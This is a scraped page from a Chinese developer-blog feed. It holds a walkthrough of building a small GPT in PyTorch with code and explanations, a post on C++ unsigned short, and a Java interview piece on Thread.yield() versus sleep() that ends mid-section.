  • request.headers获取HTTP头信息

3. 总结

今天分享了用Flask构建API接口,总结如下:

  • API的本质是客户端访问服务端的函数,访问的方式是一个HTTP请求(HTTP接口)
  • HTTP请求有GET和POST
  • Flask用request接收客户端请求
  • POST请求有不同的类型,json或者x-www-form-urlencoded或者multipart/form-data,不同的方式有不同的接收方式
  • API接口返回通常以json形式返回

by aiweker at January 25, 2025 07:15 AM

juejin article

[学习]Let's build GPT: from scratch, in code, spelled out

Let's build GPT: from scratch, in code, spelled out

《Let's build GPT:from scratch, in code, spelled out.》是 [Andrej Karpathy] 大佬录制的课程,该课程约 2 小时,从头构建出一个可工作的 GPT,Talk is Cheap,show me the Code,相当硬核。

参考

Let's build GPT:from scratch, in code, spelled out. (maxieewong.com)

Day2 - 從nanoGPT開始 (1) - iT 邦幫忙::一起幫忙解決難題,拯救 IT 人的一天 (ithome.com.tw)

Transformer通俗笔记:从Word2Vec、Seq2Seq逐步理解到GPT、BERT-CSDN博客

数据

课程中训练了一个基于字符级别的语言模型,根据前面的字符,来预测下一个字母。使用的数据集是(Tiny Shakespeare,1.06MB)。对应的 GitHub 项目是 nanoGPTAndrej Karpathy 大佬带你,手把手,从零开始写一个 nanoGPT

nanoGPT 也是 Andrej Karpathy 开发的开源项目,它是一个用于训练/微调中等规模 GPT 模型的最简单、最快速的方案。它是对 minGPT 的改写,更注重实用性而不是理论教育。

tokenize

tokenize 是将原始文本转化为数值表示,即 Token 序列。课程中基于字符级别的语言模型,tokenzie 算法非常简单,将所有字符排序形成一个字符表,字符的在字符表中 index 则是字符的数值

# 这里采用基于字符级别的语言模型,它的 Tokenize 算法比较简单。将上面的词汇表 (chars) 映射为整数,stoi 字符到整数的映射,itos 整数到字符的映射。encode 和 decode 分别是对字符串的编解码。
# create a mapping from characters to integers 
stoi = { ch:i for i,ch in enumerate(chars) } 
itos = { i:ch for i,ch in enumerate(chars) }
encode = lambda s: [stoi[c] for c in s] # encoder: take a string, output a list of integers 
decode = lambda l: ''.join([itos[i] for i in l]) # decoder: take a list of integers, output a string
print(encode("hii there")) 
print(decode(encode("hii there")))

结果

[46, 47, 47, 1, 58, 46, 43, 56, 43]
hii there

将自然语言文本转化为数值表示。 如何进行 tokenize 有很多高级算法,比如:google/sentencepiece(github.com/google/sent…

训练集与验证集

tokenize 后得到一个数值序列,将这个序列进行切分组合构成训练集和验证集。

训练过程是多次迭代,每次迭代的训练集和验证集称做一个 block 。所以将 token 序列进行切分,block_size 个 token 构成一个 block .

block_size = 8
train_data[:block_size+1]

x = train_data[:block_size]
y = train_data[1:block_size+1] 
for t in range(block_size): 
    context = x[:t+1]
    target = y[t]
    print(f"when input is {context} the target: {target}")

这里取了训练集中的第一个 Block。block_size 大小为 8,为什么我们取了 9 个 Token 呢?

因为训练方式,将 Chunck 拆分为两个子集 x 和 y,其中 x 表示输入 Token 序列,在使用时是累增的,y 表示基于该输入,与其的输出。

when input is tensor([18]) the target: 47  
when input is tensor([18, 47]) the target: 56  
when input is tensor([18, 47, 56]) the target: 57  
when input is tensor([18, 47, 56, 57]) the target: 58  
when input is tensor([18, 47, 56, 57, 58]) the target: 1  
when input is tensor([18, 47, 56, 57, 58, 1]) the target: 15  
when input is tensor([18, 47, 56, 57, 58, 1, 15]) the target: 47  
when input is tensor([18, 47, 56, 57, 58, 1, 15, 47]) the target: 58

为了利用 GPU 的并行计算能力,把 batch_size 个 block 组合成一个 batch 。一个 batch 是同时进入 GPU 进行计算。相互直接隔离,互不干扰。

torch.manual_seed(1337)
batch_size = 4 # how many independent sequences will we process in parallel?
block_size = 8 # what is the maximum context length for predictions?
def get_batch(split): # generate a small batch of data of inputs x and targets y
    data = train_data if split == 'train' else val_data 
    ix = torch.randint(len(data) - block_size, (batch_size,)) 
    x = torch.stack([data[i:i+block_size] for i in ix]) 
    y = torch.stack([data[i+1:i+block_size+1] for i in ix]) return x, y

语言模型

语言是一套复杂的符号系统。语言符号通常在音韵(Phonology)、词法(Mor phology)、句法(Syntax)的约束下构成,并承载不同的语义(Semantics)。语言 符号具有不确定性。同样的语义可以由不同的音韵、词法、句法构成的符号来表 达;同样的音韵、词法、句法构成的符号也可以在不同的语境下表达不同的语义。 因此,语言是概率的。并且,语言的概率性与认知的概率性也存在着密不可分的关系。语言模型(LanguageModels, LMs)旨在准确预测语言符号的概率。从语 言学的角度,语言模型可以赋能计算机掌握语法、理解语义,以完成自然语言处理 任务。从认知科学的角度,准确预测语言符号的概率可以赋能计算机描摹认知、演 化智能。从 ELIZA 到 GPT-4,语言模型经历了从规则模型到统计模型,再 到神经网络模型的发展历程,逐步从呆板的机械式问答程序成长为具有强大泛化 能力的多任务智能模型。

按照语言模型发展的顺序依次基于统计方法 的n-grams 语言模型、基于循环神经网络(RecurrentNeuralNetwork,RNN)的语 言模型,基于Transformer的语言模型。

BigramLanguageModel 二元语言模型是根据前一个词,来推测下一个词,是一个经典、简单、易于理解的框架,Andrej Karpathy借助 BigramLanguageModel 先帮助我们把语言模型的大框架搭建起来。然后,在框架内,一步一步,添砖加瓦,一点点改出基于 Transformer 的 GPT

N-Gram

语言模型通过对语料库(Corpus)中的语料进行统计或学习来获得预测语言符号概率的能力。通常,基于统计的语言模型通过直接统计语言符号在语料库中 出现的频率来预测语言符号的概率。其中,N-Gram 是最具代表性的统计语言模型。N-Gram 语言模型基于马尔可夫假设和离散变量的极大似然估计给出语言符号的概率。

N-Gram 的基本思想是将文本里面的内容按照字节进行大小为N的滑动窗口操作,形成了长度是N的字节片段序列。n-grams 语言模型中的n-gram指的是长度为n的词序列。

每一个字节片段称为gram,对所有gram的出现频度进行统计,并且按照事先设定好的阈值进行过滤,形成关键gram列表,也就是这个文本的向量特征空间,列表中的每一种gram就是一个特征向量维度。

该模型基于这样一种假设,第N个词的出现只与前面N-1个词相关,而与其它任何词都不相关,整句的概率就是各个词出现概率的乘积。这些概率可以通过直接从语料中统计N个词同时出现的次数得到。常用的是二元的Bi-Gram和三元的Tri-Gram。

n-grams语言模型通 过依次统计文本中的n-gram及其对应的(n-1)-gram在语料库中出现的相对频率来 计算文本w1:N 出现的概率。计算公式如下所示:

<semantics>Pngrams(w1:N)=C(win+1:i)/C(win+1:i1)<annotation encoding="application/x-tex">Pn-grams(w1:N) = C(wi−n+1 : i) / C(wi−n+1 : i−1)</annotation></semantics>Pngrams(w1:N)=C(win+1:i)/C(win+1:i1)

当n=2时,称之为bigrams,其对前一个词进行考虑。此时,分子C(wi−n+1 : i) = C(wi−1,wi),C(wi−1,wi) 为词序列{wi−1,wi} 在语料库中出现 的次数;分母C(wi−n+1: i−1) = C(wi−1),C(wi−1) 为词 wi−1 在语料库中出现的次数

n-grams 具备对未知文本的泛化能力。这也是其相较于传统基于规则的方法的优势。但是,这种泛化能力会随着n的增大而逐渐减弱。

BigramLanguageModel

模型介绍

前面的 N-gram Language Model用的是统计方法建立语言模型, 但 Bigram Language Model 是使用 NN 的方法建立语言模型

课程则是从实现一个二元语言模型(BigramLanguageModel) 开始,该模型是根据当前字符推测下一个字符。模型只包含一层 (nn.Embedding)

# 二元语言模型实现
class BigramLanguageModelV1(nn.Module):
    # 每个词直接从一个查找表中获取下一个词的logits值
    # logits是模型做出预测前的一组未经归一化的分数,反映了不同结果的相对可能性 
    # an Embedding module containing vocab_size tensors of size vocab_size
    self.token_embedding_table = nn.Embedding(vocab_size, vocab_size)

nn.Embedding 类 是 PyTorch 框架中用于词嵌入的一个模块。它接受两个参数:vocab_size(词汇表大小)和嵌入的维度。在这个例子中,嵌入的维度被设置为与词汇表的大小相同,这意味着每个词都会被映射到一个与整个词汇表大小相同的向量中

nn.Embedding : image.png

词嵌入 token embedding

词嵌入跟前面的 Tokenize 有什么区别?Tokenize 也是一种将词语转化为计算机可以理解的数值关系。

Tokenize 是基于词汇表,对自然语言进行编码。这种编码不带有语义信息。而词嵌入,是对编码后的 Token 经过 Embedding 层大量语料的训练,得到对应的词向量。经过语料训练后,词向量中带有语义信息

语义的一种体现是,两个词向量之间的距离,表示了他们之间的相关性。最经典的案例是,词向量还有一个神奇的特性:它不仅可以反映语义上的相似性,还能利用两个向量的差来反映语义中的抽象关系。例如,词向量有一个著名的公式:女人 - 男人 = 皇后 - 国王

模型训练

GPT 模型训练是累增训练,一次迭代训练 block 中的 token ,第一次用一个 token ,第二次用两个 token, 依次累增。

BigramLanagerModel 模型是给出一个 token 预测下一个 token, 与实际下一个 token 比较,进行学习。在模型结构介绍中,可知声明了一个 nn.Embedding 层,那如何使用其预测下一个 token 呢?首先分析一下具体的训练过程。

损失函数

# 二元语言模型实现
class BigramLanguageModelV1(nn.Module):
    # 模型前向传播 
    # idx:即前面的 x,表示输入数据,词在词汇表中的索引的向量
    # targets:训练的目标输出,比如正确的下一个词的索引
    def forward(self, idx, targets=None):
    # idx and targets are both (B,T) tensor of integers
        logits = self.token_embedding_table(idx) # (B,T,C)
        if targets is None:
            loss = None
        else: 
            B, T, C = logits.shape
            logits = logits.view(B*T, C)
            targets = targets.view(B*T)
            loss = F.cross_entropy(logits, targets)
        
        return logits, loss
    
   
# get device
device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')
# create model
m = BigramLanguageModelV1(vocab_size).to(device)
logits, loss = m(xb.to(device), yb.to(device))
print(logits.shape) 
print(loss)
torch.Size([32, 65])
tensor(5.0364, grad_fn=<NllLossBackward0>)

idx 和 targets 的 shape 是 (B, T), B 是 batch_size , T 是 block_size 。

nn.Embedding 层的声明的 shape 是 (vocab_size, vocab_size), 因此 idx 中的每个元素字符可以从 token_embedding_table 中查表获得一个 vocab_size 维度的向量(这里的从 embedding_table 查表等同于激活函数计算)。 所以 logits 的 shape 是 (B, T, C) , C 是 vocab_size.

接下来使用 PyTorch 的 cross_entropy 函数来计算交叉熵误差: 这个函数会在内部进行以下操作:

  • 对 logits 应用 softmax 函数,得到每个词的预测概率。
  • 对每个位置,取出目标词的预测概率。
  • 对这些概率取负对数,得到交叉熵损失。
  • 对所有位置的交叉熵损失取平均,得到最终的损失值。

将 B 与 T 两个维度合并, logits shape 调整为 (B * T, C), targets shape 调整为 (B * T)。这样做的目的是将每个位置的预测和目标都看作是独立的样本。进行交叉熵误差计算,获得下一个 token 的概率。

交叉熵误差(Cross-Entropy Loss,简称CE)是一种常用的损失函数loss function),尤其在机器学习和深度学习中的分类问题。它是用来衡量模型预测概率分布与真实概率分布之间的相似度。交叉熵误差的值越小,表示模型预测的概率分布与真实概率分布越接近,模型的性能越好。交叉熵损失衡量的是模型的预测与真实目标之间的差异。如果模型对正确的下一个词给出了高概率,那么损失就会很低;反之,如果模型给出了错误的预测,损失就会很高。

训练代码

# 8. 训练
# create a PyTorch optimizer
optimizer = torch.optim.AdamW(m.parameters(), lr = 1e-3)

from tqdm import tqdm

for steps in tqdm(range(10000)): # increase number of steps for good results...
    # sample a batch of data
    xb, yb = get_batch('train')

    # evaluate the loss
    logits, loss = m(xb.to(device), yb.to(device))
    optimizer.zero_grad(set_to_none=True)
    loss.backward()
    optimizer.step()

在训练过程中,我们的目标就是最小化这个交叉熵损失。PyTorch 的优化器(如 Adam)会自动计算损失对模型参数的梯度,并根据梯度更新模型参数,使损失逐步降低。

这个过程会反复进行多个 epoch,直到模型在验证集上的性能不再提升。这意味着模型已经学会了根据上下文预测下一个词。

所以,交叉熵损失是连接模型预测和真实目标的桥梁。它提供了一种衡量模型性能的方法,并指引模型通过梯度下降来学习和改进。

注意力机制 Attention

从零训练GPT

自注意力 Self-Attention  是指序列内部的注意力计算。在自注意力中,Query、Key、Value 矩阵都来自同一个输入序列。也就是说,序列中的每个位置都要和序列中的每个位置(包括自己)计算注意力。这使得序列中的每个位置都能够“关注”到序列中的任意一个位置。通过自注意力,模型能够学习序列内部的依赖关系,捕捉序列的内部结构。

Masked Self-Attention 是 Self-Attention 的一个变种,它通过应用一个掩码(mask)来限制元素间的注意力分布。在处理序列数据(如文本或时间序列)时,有时我们希望模型在计算注意力权重时只考虑当前位置之前的元素(或特定范围内的元素),以保持信息流的方向性或遵循特定的顺序。这就是掩码发挥作用的地方。

交叉注意力 Cross-Attention 则是在两个不同序列之间进行注意力计算。在交叉注意力中,Query 矩阵来自一个序列(通常称为“目标序列”),而 Key 和 Value 矩阵来自另一个序列(通常称为“源序列”)。这使得目标序列中的每个位置都能够"关注"到源序列中的任意一个位置。通过交叉注意力,模型能够学习两个序列之间的对应关系,实现信息的传递和融合。

多头注意力

对 BigramLanguageModel 进行 Attension 改造。

Head

class Head(nn.Module):
    """ 单头自注意力机制 """

    def __init__(self, head_size):
        super().__init__()
        # 定义 key, query, value 的线性变换
        # 这里的线性变换相当于将输入 x 映射到 key, query, value 空间
        # 映射的维度由 head_size 定义,通常 head_size = n_embd // n_head
        self.key = nn.Linear(n_embd, head_size, bias=False)
        self.query = nn.Linear(n_embd, head_size, bias=False)
        self.value = nn.Linear(n_embd, head_size, bias=False)
        
# 定义注意力掩码矩阵的上三角矩阵
        # 这个矩阵用于在计算注意力时,屏蔽掉后面的位置,实现因果注意力
        # 这里使用 register_buffer 是为了将这个矩阵注册为模型的一部分,但不作为参数进行优化
        self.register_buffer('tril', torch.tril(torch.ones(block_size, block_size)))

# dropout 层,用于在训练时随机丢弃一部分注意力权重,提高模型的泛化能力
        self.dropout = nn.Dropout(dropout)

    def forward(self, x):
    # x 的维度: (batch_size, seq_length, n_embd)
        B,T,C = x.shape

# 计算 key, query, value
        # k, q, v 的维度: (batch_size, seq_length, head_size)
        k = self.key(x)   # (B,T,C)
        q = self.query(x) # (B,T,C)
        
        # 计算注意力分数 (attention scores)
        # 这里先计算 q 和 k 的点积,然后除以 head_size 的平方根进行缩放
        # 这个缩放操作是为了让注意力分数的方差在不同的 head_size 下保持稳定
        # wei 的维度: (batch_size, seq_length, seq_length)
        wei = q @ k.transpose(-2,-1) * C**-0.5 # (B, T, C) @ (B, C, T) -> (B, T, T)

# 应用注意力掩码
        # 这里使用 masked_fill 函数,将 tril 矩阵中为 0 的位置 (代表要被屏蔽的位置) 
        # 在 wei 中对应位置的值设置为负无穷大
        # 这样在计算 softmax 时,这些位置的注意力分数就会变成 0
        # 这实现了因果注意力,即每个位置只能 attend to 它前面的位置
        wei = wei.masked_fill(self.tril[:T, :T] == 0, float('-inf')) # (B, T, T)

# 对注意力分数应用 softmax,得到注意力权重
        wei = F.softmax(wei, dim=-1) # (B, T, T)

# 应用 dropout
        wei = self.dropout(wei)
        
        # 根据注意力权重聚合值 (value)
        # v 的维度: (batch_size, seq_length, head_size)
        v = self.value(x) # (B,T,C)

# 注意力加权求和
        # out 的维度: (batch_size, seq_length, head_size)
        out = wei @ v # (B, T, T) @ (B, T, C) -> (B, T, C)
        return out

注意力计算公式

image.png

将输入 X 分别与权重矩阵 Wq, Wk, Wv 矩阵相乘 (B, T, C) @ (C, head_size) ,得到 query,key,value 三部分,即将输入{x1,x2,...,xt}编码为 {(q1, k1,v1), (q2,k2,v2),..., (qt, kt, vt)}。

其中,query 和 key 的转置矩阵相乘 query @ key.transpose(-2, -1) # (B, T, C) @ (B, C, T) ---> (B, T, T) 得到注意力分数,代表一个 query(每行) 与 每一个 key(每行) 的相关性得分。再使用 softmax 进行归一化,并且在归一化之前通过除以 dk 来实现,其中 dk 是head_size。这个操作确保了当head_size很大时,点积结果的方差大约是1,从而缩小了Softmax输入的值域,最后获得注意力权重矩阵 wei

value 则是对输入的编码,用这些权重矩阵 wei 对值矩阵 V 进行加权求和,得到注意力输出

注意力的头含义: nn.Linear(n_embd, head_size, bias=False) 则是一个线性层将 n_embd 维度的 x 映射到 head_size 维度的 Query, Key, Value 空间。映射的维度由 head_size 定义,通常 head_size = n_embd / n_head, n_head 为 1 时表示单头注意力,大于 1 时为多头注意力

总结

自然语言处理任务中,注意力机制的作用与之类似。当我们处理一个句子或一段文本时,其中某些词或短语通常比其他部分更重要,包含了更多的信息。注意力机制允许模型去学习如何区分重要的信息和次要的信息,并根据这些重要的信息来做出判断或预测。

具体来说,注意力机制的核心思想可以用"查询-键-值(Query-Key-Value)"的框架来描述:

  • 查询(Query):我们想要关注的内容。在自然语言处理任务中,查询通常是我们当前正在处理的词或句子。
  • 键(Key):我们用来判断其他信息是否重要的参考。键可以是句子中的其他词,或者是来自其他来源的信息。
  • 值(Value):我们想要提取的信息。值通常与键是一一对应的。

注意力机制的过程可以概括为:对于每个查询,我们用它去和所有的键进行比较,计算出每个键与查询的相关性或重要性。然后,我们用这些重要性作为权重,对相应的值进行加权求和,得到最终的注意力结果。这个结果就是模型认为对于当前的查询最重要的信息。

通过这种方式,注意力机制使模型能够动态地调整对不同部分信息的关注,从而更好地理解和处理复杂的语言数据。

层规范化 (Normalization)

Normalization:规范化或标准化,就是把输入数据X,在输送给神经元之前先对其进行平移和伸缩变换,将X的分布规范化成在固定区间范围的标准分布。

Normalization 的作用很明显,把数据拉回标准正态分布,因为神经网络的Block大部分都是矩阵运算,一个向量经过矩阵运算后值会越来越大,为了网络的稳定性,需要及时把值拉回正态分布。用以加速神经网络训练过程并取得更好的泛化性能。

Normalization根据标准化操作的维度不同可以分为batch Normalization和Layer Normalization,不管在哪个维度上做noramlization,本质都是为了让数据在这个维度上归一化,因为在训练过程中,上一层传递下去的值千奇百怪,什么样子的分布都有。BatchNorm就是通过对batch size这个维度归一化来让分布稳定下来。LayerNorm则是通过对Hidden size这个维度归一化来让某层的分布稳定。

BatchNorm是对一个batch-size样本内的每个特征做归一化,LayerNorm是对每个样本的所有特征做归一化。所以BN抹杀了不同特征之间的大小关系,但是保留了不同样本间的大小关系;LN抹杀了不同样本间的大小关系,但是保留了一个样本内不同特征之间的大小关系。

RNN 或Transformer为什么用Layer Normalization?,因为RNN或Transformer解决的是序列问题,一个存在的问题是不同样本的序列长度不一致,而Batch Normalization需要对不同样本的同一位置特征进行标准化处理,所以无法应用。其次BN抹杀了不同特征之间的大小关系;LN是保留了一个样本内不同特征之间的大小关系,这对NLP任务是至关重要的。对于NLP或者序列任务来说,一条样本的不同特征,其实就是时序上的变化,这正是需要学习的东西自然不能做归一化抹杀,所以要用LN。

设输入向量为 v={vi}。LN 将在v的每一维度vi上都进行归一化操作

手写 LN

class LayerNorm1d: # (used to be BatchNorm1d)

  def __init__(self, dim, eps=1e-5, momentum=0.1):
    self.eps = eps
    self.gamma = torch.ones(dim)
    self.beta = torch.zeros(dim)

  def __call__(self, x):
    # calculate the forward pass
    xmean = x.mean(1, keepdim=True) # batch mean
    xvar = x.var(1, keepdim=True) # batch variance
    xhat = (x - xmean) / torch.sqrt(xvar + self.eps) # normalize to unit variance
    self.out = self.gamma * xhat + self.beta
    return self.out

  def parameters(self):
    return [self.gamma, self.beta]

LN在PyTorch中的实现

  • normalized_shape:(int/list/torch.Size)该层的特征维度,即要被标准化的维度。
  • eps:分母修正项。
  • elementwise_affine:是否需要affine transform
torch.nn.LayerNorm(normalized_shape, eps=1e-05, elementwise_affine=True, device=None, dtype=None)

全连接前馈层(Fully-connected Feedforwad Layer)

按照推理过程中信号流转的方向,神经网络的正向传播范式可分为两大类:

  • 前馈传播范式:在前馈传播范式中,计算逐层向前,“不走回头路”。采用前馈传播范式的神经网络可以统称为前馈神经网 络(Feed-forward Neural Network,FNN)。FNN 想要做到对信息进行全局考虑,则需要将所有元素同时输入到模型中去,这将导致模型参数量的激增。
  • 循环传播范式:在循环传播范式中,某些层的计算结果会通过环路被反向引回前面的层中,形 成“螺旋式前进”的范式。采用循环传播范式的神经网络被统称 为循环神经网络(RecurrentNeuralNetwork, RNN)。RNN的结构可以让其在参数量不扩张的实现对全局信息的考虑,但是这样的环路结构给RNN的训练带来了挑战。在训练RNN时,涉及大量的矩阵联乘操作,容易引发梯度衰减或梯度爆炸问题。 由于RNN模型循环迭代的本质,其不易进行并行计算,导致其在输入序列较 长时,训练较慢。

全连接前馈层占据了Transformer近三分之二的参数,掌管着Transformer模型 的记忆。其可以看作是一种Key-Value模式的记忆存储管理模块。

全连接前馈 层包含两层,两层之间由ReLU作为激活函数。设全连接前馈层的输入为v,全连 接前馈层可由下式表示:

FFN(v) = max(0, (W1@V + b1))(W2 + b2)。

其中,W1和W2分别为第一层和第二层的权重参数,b1和b2分别为第一层和第二 层的偏置参数。其中第一层的可看作神经记忆中的key,而第二层可看作value

class FeedFoward(nn.Module):
    """ a simple linear layer followed by a non-linearity """

    def __init__(self, n_embd):
        super().__init__()
        self.net = nn.Sequential(
            nn.Linear(n_embd, 4 * n_embd),
            nn.ReLU(),
            nn.Linear(4 * n_embd, n_embd),
            nn.Dropout(dropout),
        )

    def forward(self, x):
        return self.net(x)

前馈层作用

线性层+Softmax

模型的最后一层将解码器生成的向量映射到logits向量中。最后一层是一个简单的全连接神经网络,logits 是指全连接层的原始输出值,尚未经过归一化处理。

所以 logit 原本是一个函数,但在机器学习中,logits 通常就是最后一层全连接层的输出

全连接层的计算是简单的矩阵乘法运算(y = Wx + b),也称之为线性运算,这样我们可以称为线性层。 在PyTorch中,nn.Linear 是一个用于创建线性层的类。它的构造函数如下

class torch.nn.Linear(in_features, out_features, bias=True)

参数说明:

  • in_features: 输入特征的数量,即输入向量的维度。
  • out_features: 输出特征的数量,即输出向量的维度。
  • bias(可选,默认为True):是否包含偏置项 b

但是线性层的特征表达能力是有限的,所以在这些线性计算之后又引入了非线性计算,增强模型特征的表达能力,也就是激活层,也称为非线性层。这里就列几个激活函数 image.png image.png

创建一个线性层将前馈层的输出 n_embd 维度的向量线性变化层 vocab_size (词表大小) 维度。每一个维度对应一个 token 的得分。

 self.lm_head = nn.Linear(n_embd, vocab_size)

所以最后计算出序列 (B, T, n_embd) 中每一项的下一个 token 的得分的序列 (B, T, vocab_size)

这些得分转化为实际的概率,需要应用 softmax 函数:

probs = F.softmax(logits, dim=-1) # (B, T, vocab_size)

softmax 函数将这些得分转化为正数,并且保证它们的和为 1,因此可以被解释为概率。

有了这个概率分布,就可以进行实际的预测了。最简单的方法是选择概率最大的 Token:

next_token = torch.argmax(probs, dim=-1) # (B, T)

这给了下一个最可能的 Token。但是,这种贪心的方法可能会导致生成的文本缺乏多样性。一种更好的方法是从概率分布中随机采样:

next_token = torch.multinomial(probs, num_samples=1) # (B, T, 1)

这种方法允许模型生成多样化的文本,虽然可能不总是选择概率最大的 Token

next_token 是多个 token, 不是一个。

如果是给定一句话,预测下一个 Token 来说,实际上只需要序列的最后一个 logit 得分向量,对其采样即可。

# logits 的形状:(B, T, vocab_size)
# 取出最后一个时间步的 logits,形状变为 (B, vocab_size)
logits = logits[:, -1, :] 

# 应用 softmax 得到概率分布,形状为 (B, vocab_size)
probs = F.softmax(logits, dim=-1) 

# 从概率分布中采样,得到下一个 token,形状为 (B, 1)
next_token = torch.multinomial(probs, num_samples=1) 

next_token 只是一个 token。每次都将新生成的 Token 附加到上下文的末尾,重复生成过程,我们就可以让模型生成一段连贯的文本。

by tinker at January 25, 2025 06:54 AM

juejin backend

深入解析 C++ 中的 unsigned short 的含义

在 C++ 编程中,变量声明中的类型修饰符和数据类型的组合往往蕴含了丰富的语义。通过 unsigned short i,我们可以解读出多个层面的信息:unsigned 表示无符号性,short 表示短整型,i 则是一个变量名。本文将对这些概念进行详尽的剖析,并结合代码实例,帮助读者全面理解它们的含义及使用场景。

数据类型基础概念

在任何编程语言中,数据类型决定了变量可以存储的值的范围和表示方式。C++ 作为一种静态类型语言,对数据类型有非常严格的定义。

unsigned 的含义

unsigned 是 C++ 中的修饰符,主要用于表示无符号数据类型。无符号类型排除了负数的可能性,使得变量仅能存储非负整数。通过这一特性,unsigned 类型可以将存储范围的全部位宽用于表示正数,从而扩大了正数的表示范围。

unsigned 的存储范围

假设一个整型变量使用 n 位表示:

  • 带符号类型(signed):1 位用于符号,剩余 n-1 位用于数值表示。
  • 无符号类型(unsigned):所有 n 位用于数值表示。

以 16 位整型为例:

  • short(带符号):范围为 -32,768 到 32,767。
  • unsigned short:范围为 0 到 65,535。

short 的含义

short 是一种定长整型,它的宽度通常小于或等于标准整型(int)。C++ 标准没有严格规定 short 的宽度,但要求 sizeof(short) <= sizeof(int)

常见平台上的实现

  • 在大多数现代平台中,short 通常为 16 位。
  • 数据范围取决于是否使用 unsigned 修饰符。
    • 带符号的 short:范围为 -32,768 到 32,767。
    • 无符号的 short:范围为 0 到 65,535。

为什么要使用 unsigned short

使用 unsigned short 可以节省存储空间并扩展正整数的表示范围,特别适用于以下场景:

  1. 表示永不为负的值,例如数组索引、计数器或内存地址。
  2. 节省内存,例如嵌入式系统中处理资源受限的数据。
  3. 提升性能,在某些硬件平台上,无符号运算可以更高效。

unsigned short i 的使用实例

下面提供一个可以运行的完整示例代码,展示 unsigned short 的应用场景。

#include <iostream>
#include <limits> // 用于获取数据范围

int main() {
    // 定义无符号短整型变量
    unsigned short i = 0;

    // 输出数据类型的范围
    std::cout << "unsigned short 的范围: "
              << "0 到 " << std::numeric_limits<unsigned short>::max() << std::endl;

    // 计数器示例
    for (i = 0; i < 10; ++i) {
        std::cout << "当前计数: " << i << std::endl;
    }

    // 溢出行为
    i = std::numeric_limits<unsigned short>::max();
    std::cout << "最大值: " << i << std::endl;
    ++i; // 发生溢出
    std::cout << "溢出后的值: " << i << std::endl;

    return 0;
}

代码解析

  1. std::numeric_limits:提供类型范围的标准方法。
  2. 溢出演示:当 unsigned short 达到最大值后,再加 1 会回到 0,这体现了无符号整数的模运算行为。
  3. 计数器用法:利用 unsigned short 计数时,可以避免负数导致的问题。

内存与性能考量

unsigned short 相较于其他数据类型(如 intlong),其内存占用更少。在嵌入式系统中,这一特性尤为重要。较小的存储空间意味着更低的内存消耗和更高的缓存利用率。

内存对比

以下是常见数据类型的内存占用(以字节为单位):

数据类型内存占用常见范围
short2-32,768 到 32,767
unsigned short20 到 65,535
int4-2,147,483,648 到 2,147,483,647
unsigned int40 到 4,294,967,295

性能影响

某些硬件平台(尤其是低功耗微控制器)对无符号运算的支持更为优化。在这些平台上,使用 unsigned short 可以获得更高的性能。

编译器行为与注意事项

编译器优化

现代编译器通常能对 unsignedshort 类型的变量进行优化,例如:

  1. 寄存器分配:根据变量的范围选择更小的寄存器。
  2. 指令选择:针对无符号运算生成更高效的指令。

跨平台兼容性

尽管 unsigned short 的表现通常符合预期,但在跨平台开发中仍需注意:

  1. 数据类型的宽度可能因平台而异。
  2. 使用 std::uint16_t 等固定宽度类型可以提高兼容性。

常见误区与调试技巧

溢出问题

无符号整数的溢出会导致意想不到的结果。例如:

unsigned short a = 0;
a -= 1; // a 的值变为 65,535

解决方法:

  • 使用断言或检查逻辑,避免不必要的溢出。

隐式类型转换

在与其他类型混合使用时,unsigned short 可能引发隐式类型转换。例如:

unsigned short a = 65535;
int b = a * a; // 结果可能超出 int 的范围

解决方法:

  • 显式转换类型,确保运算结果在目标范围内。

总结

通过对 unsignedshort 的深入剖析,可以看到它们在 C++ 编程中提供了灵活的数值表示方式。unsigned short 的特性使其适合用于存储非负整数,并在内存受限或需要高效计算的场景中表现出色。然而,在实际开发中,应谨慎处理溢出和类型转换问题,以确保程序的正确性和健壮性。

by 华山风清扬 at January 25, 2025 06:39 AM

Java 高级面试技巧:yield() 与 sleep() 方法的使用场景和区别

大家好!今天咱们来聊聊一个常见但又有点“迷”问题:Java 线程中的 yield() 方法到底有什么作用?为什么 sleep() 和 yield() 是静态的?它们有什么区别呢?

这可是面试中常考的知识点,尤其是对于社招面试来说,想必不少朋友已经遇到过类似问题了吧?今天就让我们一起来捋一捋这些细节,帮助大家在面试中游刃有余,拿到心仪的 offer!

从面试现场说起

想象一下,面试官严肃地看着你,语气带着一丝试探:“你能讲讲 Java 中 Thread 类的 yield() 方法是干什么的吗?”

你心里一紧,脑袋开始转,瞬间想到了多个方向——是不是和线程的调度有关?

于是,你开始回答:“yield() 方法可以让当前线程释放 CPU 时间片,给同等优先级的线程让路……”

还没等你继续,面试官抬起手,轻轻摆了摆:“等等,为什么 yield() 和 sleep() 方法都是静态的呢?”

“呃……这个……”你一时愣住了。

别急,今天就来解决这个疑惑!让我们一起拆解这些问题!

什么是 yield() 方法?

首先,我们来聚焦在 yield() 方法上。假设你现在是一名程序员,你在开发一个多线程应用,线程之间需要竞争 CPU 时间来执行任务。

Thread.yield() 方法,顾名思义,就是当前线程自愿“放弃”CPU的使用时间片,把执行权交给同等优先级的其他线程。简单来说,yield() 就是让当前线程暂时“让路” ,但并不一定会马上暂停执行,具体取决于线程调度器的策略。

解释:在上面的代码中,两个线程交替运行,并在每次循环中调用 yield()。yield() 是告诉线程调度器:我愿意暂时暂停,给其他线程运行的机会。然而,线程调度器可以选择忽略这个提示,继续执行当前线程。

yield() 方法的工作机制

yield() 的作用并不像 sleep() 那样强制线程停止,而是给了线程调度器一个提示:“我愿意暂停,给其他同等优先级的线程执行机会。”

但是,这并不意味着当前线程立刻停止。可能由于系统调度策略、线程优先级、CPU核心的空闲程度等多种因素,yield() 之后的行为不一定如你所愿,当前线程也可能继续执行。

关键点总结:

  • 线程调度器决定是否响应 yield() 方法。
  • yield() 并不会暂停线程,甚至可能无效。
  • yield() 只是一个“软提示”,并不是强制性操作。

sleep() 和 yield() 的区别

那么,既然 yield() 只是一种让步式的“自愿放弃”,那 sleep() 方法 呢?

Thread.sleep() 是让线程在指定的时间内进入休眠状态,并且完全不参与 CPU 的竞争,直到休眠时间结束,线程才会再次进入就绪队列,等待 CPU 调度。

来看个简单的例子来对比:

对比

  • sleep() 会让线程完全进入休眠状态,不参与 CPU 竞争。
  • yield() 只是提示线程调度器:你可以暂停我,但并不一定会被暂停。

总结

  • sleep() 让线程“彻底休眠”,会指定一个时间让线程完全停止执行。
  • yield() 只是一个“软提示”,让当前线程有可能放弃时间片。

为什么 sleep() 和 yield() 是静态方法?

